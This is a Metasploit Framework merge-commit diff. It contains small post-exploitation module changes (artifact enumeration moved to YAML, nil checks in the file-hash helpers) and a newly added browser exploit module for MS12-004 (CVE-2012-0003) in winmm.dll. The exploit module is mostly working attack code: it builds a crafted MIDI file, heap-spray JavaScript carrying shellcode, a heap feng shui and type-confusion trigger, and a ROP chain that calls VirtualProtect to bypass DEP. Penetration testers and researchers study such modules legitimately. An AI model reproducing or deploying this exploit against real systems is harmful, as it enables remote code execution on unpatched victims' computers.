Merge branch 'master' of github.com:rapid7/metasploit-framework
commit
0e0aa33c47
|
@ -1,14 +1,36 @@
|
|||
# This file contains a list of artifacts used by the enum_artifacts post module
|
||||
# Artifacts should be listed one per line and use the following formats:
|
||||
# File entries
|
||||
# file|path/to/file|md5sum
|
||||
# YAML:1.0
|
||||
# Configuration file for enum_artifacts.rb module
|
||||
# This file contains a YAML formated list of artifacts used by the
|
||||
# enum_artifacts post module. Artifacts should be listed using the following
|
||||
# format:
|
||||
#
|
||||
# Registry entries
|
||||
# reg|hive|key|value
|
||||
# ---
|
||||
# malware_name:
|
||||
# files:
|
||||
# - name: path\to\file
|
||||
# csum: 00112233445566778899aabbccddeeff
|
||||
# - name: path\to\another\file
|
||||
# csum: 112233445566778899aabbccddeeff00
|
||||
#
|
||||
# reg_entries:
|
||||
# - key: registry_key
|
||||
# val: registry_value
|
||||
# data: data
|
||||
#
|
||||
# Happy hunting
|
||||
---
|
||||
test_evidence:
|
||||
files:
|
||||
- name: c:\ntdetect.comx
|
||||
csum: b2de3452de03674c6cec68b8c8ce7c78
|
||||
- name: c:\boot.ini
|
||||
csum: fa579938b0733b87066546afe951082c
|
||||
|
||||
reg_entries:
|
||||
- key: HKEY_LOCAL_MACHINE\SYSTEM\Selectx
|
||||
val: Current
|
||||
data: 1
|
||||
- key: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\ACPI
|
||||
val: DisplayName
|
||||
data: Microsoft ACPI Driver
|
||||
|
||||
file|c:\ntdetect.com|b2de3452de03674c6cec68b8c8ce7c78
|
||||
file|c:\boot.ini|fa579938b0733b87066546afe951082c
|
||||
reg|HKEY_LOCAL_MACHINE\SYSTEM\Select|Current|1
|
||||
reg|HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\ACPI|DisplayName|Microsoft ACPI Driver
|
||||
|
|
|
@ -38,7 +38,11 @@ module File
|
|||
#
|
||||
|
||||
def file_remote_digestmd5(file2md5)
|
||||
chksum = Digest::MD5.hexdigest(read_file(file2md5))
|
||||
data = read_file(file2md5)
|
||||
chksum = nil
|
||||
if data
|
||||
chksum = Digest::MD5.hexdigest(data)
|
||||
end
|
||||
return chksum
|
||||
end
|
||||
|
||||
|
@ -61,7 +65,11 @@ module File
|
|||
#
|
||||
|
||||
def file_remote_digestsha1(file2sha1)
|
||||
chksum = Digest::SHA1.hexdigest(read_file(file2sha1))
|
||||
data = read_file(file2sha1)
|
||||
chksum = nil
|
||||
if data
|
||||
chksum = Digest::SHA1.hexdigest(data)
|
||||
end
|
||||
return chksum
|
||||
end
|
||||
|
||||
|
@ -84,7 +92,11 @@ module File
|
|||
#
|
||||
|
||||
def file_remote_digestsha2(file2sha2)
|
||||
chksum = Digest::SHA256.hexdigest(read_file(file2sha2))
|
||||
data = read_file(file2sha2)
|
||||
chksum = nil
|
||||
if data
|
||||
chksum = Digest::SHA256.hexdigest(data)
|
||||
end
|
||||
return chksum
|
||||
end
|
||||
|
||||
|
@ -156,7 +168,7 @@ protected
|
|||
begin
|
||||
fd = session.fs.file.new(file_name, "rb")
|
||||
rescue ::Rex::Post::Meterpreter::RequestError => e
|
||||
print_error("Failed to open file: #{e.class} : #{e}")
|
||||
print_error("Failed to open file: #{file_name}")
|
||||
return nil
|
||||
end
|
||||
|
||||
|
|
|
@ -0,0 +1,470 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = NormalRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpServer::HTML
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "MS12-004 midiOutPlayNextPolyEvent Heap Overflow",
|
||||
'Description' => %q{
|
||||
This module exploits a heap overflow vulnerability in the Windows Multimedia
|
||||
Library (winmm.dll). The vulnerability occurs when parsing specially crafted
|
||||
MIDI files. Remote code execution can be achieved by using Windows Media Player's
|
||||
ActiveX control.
|
||||
|
||||
Exploitation is done by supplying a specially crafted MIDI file with
|
||||
specific events, causing the offset calculation being higher than how much is
|
||||
available on the heap (0x400 allocated by WINMM!winmmAlloc), and then allowing
|
||||
us to either "inc al" or "dec al" a byte. This can be used to corrupt an array
|
||||
(CImplAry) we setup, and force the browser to confuse types from tagVARIANT objects,
|
||||
which leverages remote code execution under the context of the user.
|
||||
|
||||
At this time, for IE 8 target, JRE (Java Runtime Environment) is required
|
||||
to bypass DEP (Data Execution Prevention).
|
||||
|
||||
Note: Based on our testing, the vulnerability does not seem to trigger when
|
||||
the victim machine is operated via rdesktop.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'juan vazquez',
|
||||
'sinn3r',
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
[ 'MSB', 'MS12-004'],
|
||||
[ 'CVE', '2012-0003' ],
|
||||
[ 'OSVDB', '78210'],
|
||||
[ 'BID', '51292'],
|
||||
[ 'URL', 'http://www.vupen.com/blog/20120117.Advanced_Exploitation_of_Windows_MS12-004_CVE-2012-0003.php' ],
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 1024,
|
||||
},
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'EXITFUNC' => "process",
|
||||
'InitialAutoRunScript' => 'migrate -f',
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Automatic', {} ],
|
||||
[
|
||||
'IE 6 on Windows XP SP3',
|
||||
{
|
||||
'Rop' => false,
|
||||
'DispatchDst' => 0x0c0c0c0c
|
||||
}
|
||||
],
|
||||
[
|
||||
'IE 7 on Windows XP SP3',
|
||||
{
|
||||
'Rop' => false,
|
||||
'DispatchDst' => 0x0c0c0c0c
|
||||
}
|
||||
],
|
||||
[
|
||||
'IE 8 on Windows XP SP3',
|
||||
{
|
||||
# xchg ecx,esp
|
||||
# or byte ptr [eax],al
|
||||
# add byte ptr [edi+5Eh],bl
|
||||
# ret 8
|
||||
# From IMAGEHLP
|
||||
'Rop' => true,
|
||||
'StackPivot' => 0x76C9B4C2,
|
||||
'DispatchDst' => 0x0c0c1be4
|
||||
}
|
||||
],
|
||||
],
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => "Jan 10 2012",
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
|
||||
], self.class)
|
||||
|
||||
end
|
||||
|
||||
def get_target(request)
|
||||
agent = request.headers['User-Agent']
|
||||
vprint_status("Request from: #{agent}")
|
||||
|
||||
if agent =~ /NT 5\.1/ and agent =~ /MSIE 6\.0/
|
||||
#Windows XP SP3 + IE 6.0
|
||||
return targets[1]
|
||||
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7\.0/
|
||||
#Windows XP SP3 + IE 7.0
|
||||
return targets[2]
|
||||
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8\.0/
|
||||
#Windows XP SP3 + IE 8.0 + JRE6
|
||||
return targets[3]
|
||||
else
|
||||
return nil
|
||||
end
|
||||
end
|
||||
|
||||
def get_midi
|
||||
# MIDI Fileformat Reference:
|
||||
# http://www.sonicspot.com/guide/midifiles.html
|
||||
#
|
||||
# Event Types:
|
||||
# 0x08 = Note Off (when MIDI key is released)
|
||||
# 0x09 = Note On (when MIDI key is pressed)
|
||||
# 0x0A = Note aftertouch (pressure change on the pressed MIDI key)
|
||||
# 0x0B = Controller Event (MIDI channels state)
|
||||
# 0x0C = Program change (Which instrument/patch should be played on the MIDI channel)
|
||||
# 0x0D = Channel aftertouch (similar to Note Aftertouch; effects all keys pressed on the specific MIDI channel)
|
||||
# 0x0E = Pitch Bend (similiar to a controller event; has 2 bytes to describe its value)
|
||||
# 0x0F = Meta Events (not sent or received over a midi port)
|
||||
|
||||
# Structure:
|
||||
# [Header Chunk][Track Chunk][Meta Event][Meta Event][SYSEX Event][Midi Channel Event)
|
||||
# Problem:
|
||||
# Windows Media Player fails to manage Note On and Note Off Events
|
||||
|
||||
# Track Chunk Data
|
||||
tc = "\x00\xFF\x03\x0D\x44\x72\x75\x6D"
|
||||
# Meta Event - Sequence/Track Name
|
||||
tc << "\x73\x20\x20\x20\x28\x42\x42\x29\x00"
|
||||
# Midi Channel Event - Program Change
|
||||
tc << "\x00\xC9\x28"
|
||||
# Midi Channel Event - Controller
|
||||
tc << "\x00\xB9\x07\x64"
|
||||
# Midi Channel Event - Controller
|
||||
tc << "\x00\xB9\x0A\x40"
|
||||
# Midi Channel Event - Controller
|
||||
tc << "\x00\xB9\x7B\x00"
|
||||
# Midi Channel Event - Controller
|
||||
tc << "\x00\xB9\x5B\x28"
|
||||
# Midi Channel Event - Controller
|
||||
tc << "\x00\xB9\x5D\x00"
|
||||
# Midi Channel Event - Note On
|
||||
tc << "\x85\x50\x99\x23\x7F"
|
||||
|
||||
# Corruption events
|
||||
# Midi Channel Event - Note On
|
||||
tc << "\x00\x9F\xb2\x73"
|
||||
# Ends Corruption events
|
||||
|
||||
# Meta Event - End Of Track
|
||||
tc << "\x00\xFF\x2F\x00"
|
||||
m = ''
|
||||
# HEADERCHUNK Header
|
||||
m << "MThd" # Header
|
||||
m << "\x00\x00\x00\x06" # Chunk size
|
||||
m << "\x00\x00" # Format Type
|
||||
m << "\x00\x01" # Number of tracks
|
||||
m << "\x00\x60" # Time division
|
||||
# TRACKCHUNK header
|
||||
m << "MTrk" # Header
|
||||
m << [tc.length].pack('N')
|
||||
m << tc
|
||||
|
||||
midi_name = "test_case.mid"
|
||||
|
||||
return midi_name, m
|
||||
end
|
||||
|
||||
def on_request_uri(cli, request)
|
||||
|
||||
if request.uri =~ /\.mid$/i
|
||||
print_status("Sending midi file to #{cli.peerhost}:#{cli.peerport}...")
|
||||
send_response(cli, @midi, {'Content-Type'=>'application/octet-strem'})
|
||||
return
|
||||
end
|
||||
|
||||
#Set default target
|
||||
my_target = target
|
||||
|
||||
#If user chooses automatic target, we choose one based on user agent
|
||||
if my_target.name =~ /Automatic/
|
||||
my_target = get_target(request)
|
||||
if my_target.nil?
|
||||
send_not_found(cli)
|
||||
print_error("#{cli.peerhost}:#{cli.peerport} Unknown user-agent")
|
||||
return
|
||||
end
|
||||
vprint_status("Target selected: #{my_target.name}")
|
||||
end
|
||||
|
||||
midi_uri = ('/' == get_resource[-1,1]) ? get_resource[0, get_resource.length-1] : get_resource
|
||||
midi_uri << "/#{@m_name}"
|
||||
|
||||
spray = build_spray(my_target)
|
||||
|
||||
if datastore['OBFUSCATE']
|
||||
spray = ::Rex::Exploitation::JSObfu.new(spray)
|
||||
spray.obfuscate
|
||||
end
|
||||
|
||||
trigger = build_trigger(my_target)
|
||||
trigger_fn = "trigger"
|
||||
|
||||
if datastore['OBFUSCATE']
|
||||
trigger = ::Rex::Exploitation::JSObfu.new(trigger)
|
||||
trigger.obfuscate
|
||||
trigger_fn = find_trigger_fn(trigger.to_s)
|
||||
end
|
||||
|
||||
html = %Q|
|
||||
<html>
|
||||
<head>
|
||||
<script language='javascript'>
|
||||
#{spray}
|
||||
</script>
|
||||
<script language='javascript'>
|
||||
#{trigger}
|
||||
</script>
|
||||
<script for=audio event=PlayStateChange(oldState,newState)>
|
||||
if (oldState == 3 && newState == 0) {
|
||||
#{trigger_fn}();
|
||||
}
|
||||
</script>
|
||||
</head>
|
||||
<body>
|
||||
<object ID="audio" WIDTH=1 HEIGHT=1 CLASSID="CLSID:22D6F312-B0F6-11D0-94AB-0080C74C7E95">
|
||||
<param name="fileName" value="#{midi_uri}">
|
||||
<param name="SendPlayStateChangeEvents" value="true">
|
||||
<param NAME="AutoStart" value="True">
|
||||
<param name="uiMode" value="mini">
|
||||
<param name="Volume" value="-300">
|
||||
</object>
|
||||
</body>
|
||||
</html>
|
||||
|
|
||||
|
||||
html = html.gsub(/^\t\t/, '')
|
||||
|
||||
print_status("Sending html to #{cli.peerhost}:#{cli.peerport}...")
|
||||
send_response(cli, html, {'Content-Type'=>'text/html'})
|
||||
end
|
||||
|
||||
def exploit
|
||||
@m_name, @midi = get_midi
|
||||
super
|
||||
end
|
||||
|
||||
def build_spray(my_target)
|
||||
|
||||
# Extract string based on target
|
||||
if my_target.name == 'IE 8 on Windows XP SP3'
|
||||
js_extract_str = "var block = shellcode.substring(2, (0x40000-0x21)/2);"
|
||||
else
|
||||
js_extract_str = "var block = shellcode.substring(0, (0x80000-6)/2);"
|
||||
end
|
||||
|
||||
# Build shellcode based on Rop requirement
|
||||
if my_target['Rop']
|
||||
code = create_rop_chain(my_target)
|
||||
code << payload.encoded
|
||||
shellcode = Rex::Text.to_unescape(code)
|
||||
else
|
||||
code = payload.encoded
|
||||
shellcode = Rex::Text.to_unescape(code)
|
||||
end
|
||||
|
||||
# 1. Create big block of nops
|
||||
# 2. Compose one block which is nops + shellcode
|
||||
# 3. Repeat the block
|
||||
# 4. Extract string from the big block
|
||||
# 5. Spray
|
||||
spray = <<-JS
|
||||
var heap_obj = new heapLib.ie(0x10000);
|
||||
|
||||
var code = unescape("#{shellcode}");
|
||||
var nops = unescape("%u0c0c%u0c0c");
|
||||
|
||||
while (nops.length < 0x1000) nops+= nops;
|
||||
|
||||
var shellcode = nops.substring(0,0x800 - code.length) + code;
|
||||
|
||||
while (shellcode.length < 0x40000) shellcode += shellcode;
|
||||
|
||||
#{js_extract_str}
|
||||
|
||||
heap_obj.gc();
|
||||
for (var i=0; i < 600; i++) {
|
||||
heap_obj.alloc(block);
|
||||
}
|
||||
|
||||
JS
|
||||
|
||||
spray = heaplib(spray, {:noobfu => true})
|
||||
return spray
|
||||
end
|
||||
|
||||
# Build the JavaScript string for the attributes
|
||||
def build_element(element_name, my_target)
|
||||
dst = Rex::Text.to_unescape([my_target['DispatchDst']].pack("V"))
|
||||
element = ''
|
||||
|
||||
if my_target.name =~ /IE 8/
|
||||
max = 63 # Number of attributes for IE 8
|
||||
index = 1 # Where we want to confuse the type
|
||||
else
|
||||
max = 55 # Number of attributes for before IE 8
|
||||
index = 0 # Where we want to confuse the type
|
||||
end
|
||||
|
||||
element << "var #{element_name} = document.createElement(\"select\")" + "\n"
|
||||
|
||||
# Build attributes
|
||||
0.upto(max) do |i|
|
||||
obj = (i==index) ? "unescape(\"#{dst}\")" : "alert"
|
||||
element << "#{element_name}.w#{i.to_s} = #{obj}" + "\n"
|
||||
end
|
||||
|
||||
return element
|
||||
end
|
||||
|
||||
# Feng Shui and triggering Steps:
|
||||
# 1. Run the garbage collector before allocations
|
||||
# 2. Defragment the heap and alloc CImplAry objects in one step (objects size are IE version dependent)
|
||||
# 3. Make holes
|
||||
# 4. Let windows media play the crafted midi file and corrupt the heap
|
||||
# 5. Force the using of the confused tagVARIANT.
|
||||
def build_trigger(my_target)
|
||||
|
||||
if my_target.name == 'IE 8 on Windows XP SP3'
|
||||
|
||||
# Redoing the feng shui if fails makes it reliable
|
||||
js_trigger = <<-JSTRIGGER
|
||||
function trigger(){
|
||||
var k = 999;
|
||||
while (k > 0) {
|
||||
if (typeof(clones[k].w1) == "string") {
|
||||
} else {
|
||||
clones[k].w1('come on!');
|
||||
}
|
||||
k = k - 2;
|
||||
}
|
||||
feng_shui();
|
||||
document.audio.Play();
|
||||
}
|
||||
JSTRIGGER
|
||||
|
||||
select_element = build_element('selob', my_target)
|
||||
else
|
||||
|
||||
js_trigger = <<-JSTRIGGER
|
||||
function trigger(){
|
||||
var k = 999;
|
||||
while (k > 0) {
|
||||
if (typeof(clones[k].w0) == "string") {
|
||||
} else {
|
||||
clones[k].w0('come on!');
|
||||
}
|
||||
k = k - 2;
|
||||
}
|
||||
feng_shui();
|
||||
document.audio.Play();
|
||||
}
|
||||
JSTRIGGER
|
||||
|
||||
select_element = build_element('selob', my_target)
|
||||
end
|
||||
|
||||
trigger = <<-JS
|
||||
var heap = new heapLib.ie();
|
||||
#{select_element}
|
||||
var clones=new Array(1000);
|
||||
|
||||
function feng_shui() {
|
||||
|
||||
heap.gc();
|
||||
|
||||
var i = 0;
|
||||
while (i < 1000) {
|
||||
clones[i] = selob.cloneNode(true)
|
||||
i = i + 1;
|
||||
}
|
||||
|
||||
var j = 0;
|
||||
while (j < 1000) {
|
||||
delete clones[j];
|
||||
CollectGarbage();
|
||||
j = j + 2;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
feng_shui();
|
||||
|
||||
#{js_trigger}
|
||||
JS
|
||||
|
||||
trigger = heaplib(trigger, {:noobfu => true})
|
||||
return trigger
|
||||
end
|
||||
|
||||
def find_trigger_fn(trigger)
|
||||
fns = trigger.scan(/function ([a-zA-Z0-9_]+)\(\)/)
|
||||
if fns.nil? or fns.empty?
|
||||
return "trigger"
|
||||
else
|
||||
return fns.last.first
|
||||
end
|
||||
return "trigger"
|
||||
end
|
||||
|
||||
def junk(n=1)
|
||||
tmp = []
|
||||
value = rand_text(4).unpack("L")[0].to_i
|
||||
n.times { tmp << value }
|
||||
return tmp
|
||||
end
|
||||
|
||||
# ROP chain copied from ms11_050_mshtml_cobjectelement.rb (generated by mona)
|
||||
# Added a little of roping to adjust the stack pivoting for this case
|
||||
# Specific for IE8 XP SP3 case at this time
|
||||
def create_rop_chain(my_target)
|
||||
|
||||
rop_gadgets =
|
||||
[
|
||||
0x7c347f98, # RETN (ROP NOP) [msvcr71.dll]
|
||||
my_target['StackPivot'], # stackpivot
|
||||
junk, # padding
|
||||
0x7c376402, # POP EBP # RETN [msvcr71.dll]
|
||||
0x7c376402, # skip 4 bytes [msvcr71.dll]
|
||||
0x7c347f97, # POP EAX # RETN [msvcr71.dll]
|
||||
0xfffff800, # Value to negate, will become 0x00000201 (dwSize)
|
||||
0x7c351e05, # NEG EAX # RETN [msvcr71.dll]
|
||||
0x7c354901, # POP EBX # RETN [msvcr71.dll]
|
||||
0xffffffff,
|
||||
0x7c345255, # INC EBX # FPATAN # RETN [msvcr71.dll]
|
||||
0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN [msvcr71.dll]
|
||||
0x7c344f87, # POP EDX # RETN [msvcr71.dll]
|
||||
0xffffffc0, # Value to negate, will become 0x00000040
|
||||
0x7c351eb1, # NEG EDX # RETN [msvcr71.dll]
|
||||
0x7c34d201, # POP ECX # RETN [msvcr71.dll]
|
||||
0x7c38b001, # &Writable location [msvcr71.dll]
|
||||
0x7c34b8d7, # POP EDI # RETN [msvcr71.dll]
|
||||
0x7c347f98, # RETN (ROP NOP) [msvcr71.dll]
|
||||
0x7c364802, # POP ESI # RETN [msvcr71.dll]
|
||||
0x7c3415a2, # JMP [EAX] [msvcr71.dll]
|
||||
0x7c347f97, # POP EAX # RETN [msvcr71.dll]
|
||||
0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]
|
||||
0x7c378c81, # PUSHAD # ADD AL,0EF # RETN [msvcr71.dll]
|
||||
0x7c345c30, # ptr to 'push esp # ret ' [msvcr71.dll]
|
||||
].flatten.pack('V*')
|
||||
|
||||
return rop_gadgets
|
||||
end
|
||||
|
||||
|
||||
end
|
|
@ -23,8 +23,8 @@ class Metasploit3 < Msf::Post
|
|||
super( update_info(info,
|
||||
'Name' => 'Multi Gather VMWare VM Identification',
|
||||
'Description' => %q{
|
||||
This module will attempt to find any VMWare virtual machines stored on the target.
|
||||
},
|
||||
This module will attempt to find any VMWare virtual machines stored on the target.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => ['TheLightCosine <thelightcosine[at]metasploit.com>'],
|
||||
'Version' => '$Revision$',
|
||||
|
|
|
@ -9,6 +9,7 @@ require 'rex'
|
|||
require 'msf/core'
|
||||
require 'msf/core/post/file'
|
||||
require 'msf/core/post/windows/registry'
|
||||
require 'yaml'
|
||||
|
||||
class Metasploit3 < Msf::Post
|
||||
|
||||
|
@ -21,7 +22,7 @@ class Metasploit3 < Msf::Post
|
|||
'Name' => 'Windows File and Registry Artifacts Enumeration',
|
||||
'Description' => %q{
|
||||
This module will check the file system and registry for particular artifacts. The
|
||||
list of artifacts is read from data/post/artifacts or a user specified file. Any
|
||||
list of artifacts is read from data/post/enum_artifacts_list.txt or a user specified file. Any
|
||||
matches are written to the loot. },
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'averagesecurityguy <stephen[at]averagesecurityguy.info>' ],
|
||||
|
@ -42,8 +43,7 @@ class Metasploit3 < Msf::Post
|
|||
|
||||
def run
|
||||
# Store any found artifacts so they can be written to loot
|
||||
files_found = []
|
||||
reg_found = []
|
||||
evidence = {}
|
||||
|
||||
# Check artifacts file path
|
||||
filename = datastore['ARTIFACTS']
|
||||
|
@ -52,55 +52,59 @@ class Metasploit3 < Msf::Post
|
|||
return
|
||||
end
|
||||
|
||||
# Start enumerating
|
||||
print_status("Processing artifacts file...")
|
||||
file = ::File.open(filename, "rb")
|
||||
file.each_line do |line|
|
||||
line.strip!
|
||||
next if line.length < 1
|
||||
next if line[0,1] == "#"
|
||||
# Load artifacts from yaml file. Artifacts are organized by what they
|
||||
# are evidence of.
|
||||
yaml = YAML::load_file(filename)
|
||||
yaml.each_key do |key|
|
||||
print_status("Searching for artifacts of #{key}")
|
||||
files = yaml[key]['files']
|
||||
regs = yaml[key]['reg_entries']
|
||||
found = []
|
||||
|
||||
# Check registry
|
||||
if line =~ /^reg/
|
||||
type, reg_key, val, data = line.split("|")
|
||||
reg_data = registry_getvaldata(reg_key, val)
|
||||
if reg_data.to_s == data
|
||||
reg_found << "#{reg_key}\\#{val}"
|
||||
# Process file entries
|
||||
vprint_status("Processing #{files.length.to_s} file entries for #{key}.")
|
||||
|
||||
files.each do |file|
|
||||
digest = file_remote_digestmd5(file['name'])
|
||||
# if the file doesn't exist then digest will be nil
|
||||
next if digest == nil
|
||||
if digest == file['csum'] then found << file['name'] end
|
||||
end
|
||||
|
||||
# Process registry entries
|
||||
vprint_status("Processing #{regs.length.to_s} registry entries for #{key}.")
|
||||
|
||||
regs.each do |reg|
|
||||
rdata = registry_getvaldata(reg['key'], reg['val'])
|
||||
if rdata.to_s == reg['data']
|
||||
found << reg['key'] + '\\' + reg['val']
|
||||
end
|
||||
end
|
||||
|
||||
# Check file
|
||||
if line =~ /^file/
|
||||
type, file, hash = line.split("|")
|
||||
digest = file_remote_digestmd5(file)
|
||||
if digest == hash
|
||||
files_found << file
|
||||
end
|
||||
|
||||
# Did we find anything? If so store it in the evidence hash to be
|
||||
# saved in the loot.
|
||||
if found.empty?
|
||||
print_status("No artifacts of #{key} found.")
|
||||
else
|
||||
print_status("Artifacts of #{key} found.")
|
||||
evidence[key] = found
|
||||
end
|
||||
end
|
||||
|
||||
# Reporting. In case the user wants to separte artifact types (file vs registry),
|
||||
# we've already done it at this point.
|
||||
if files_found.empty?
|
||||
print_status("No file artifacts found")
|
||||
else
|
||||
save(files_found, "Enumerated File Artifacts")
|
||||
end
|
||||
|
||||
if reg_found.empty?
|
||||
print_status("No registry artifacts found")
|
||||
else
|
||||
save(reg_found, "Enumerated Registry Artifacts")
|
||||
end
|
||||
save(evidence, "Enumerated Artifacts")
|
||||
end
|
||||
|
||||
def save(data, name)
|
||||
f = store_loot('enumerated.artifacts', 'text/plain', session, data.join("\n"), name)
|
||||
str = ""
|
||||
data.each_pair do |key, val|
|
||||
str << "Evidence of #{key} found.\n"
|
||||
val.each do |v|
|
||||
str << "\t" + v + "\n"
|
||||
end
|
||||
end
|
||||
|
||||
f = store_loot('enumerated.artifacts', 'text/plain', session, str, name)
|
||||
print_status("#{name} stored in: #{f}")
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
=begin
|
||||
To-do: Use CSV or yaml format to store enum_artifacts_list.txt
|
||||
=end
|
||||
|
|
Loading…
Reference in New Issue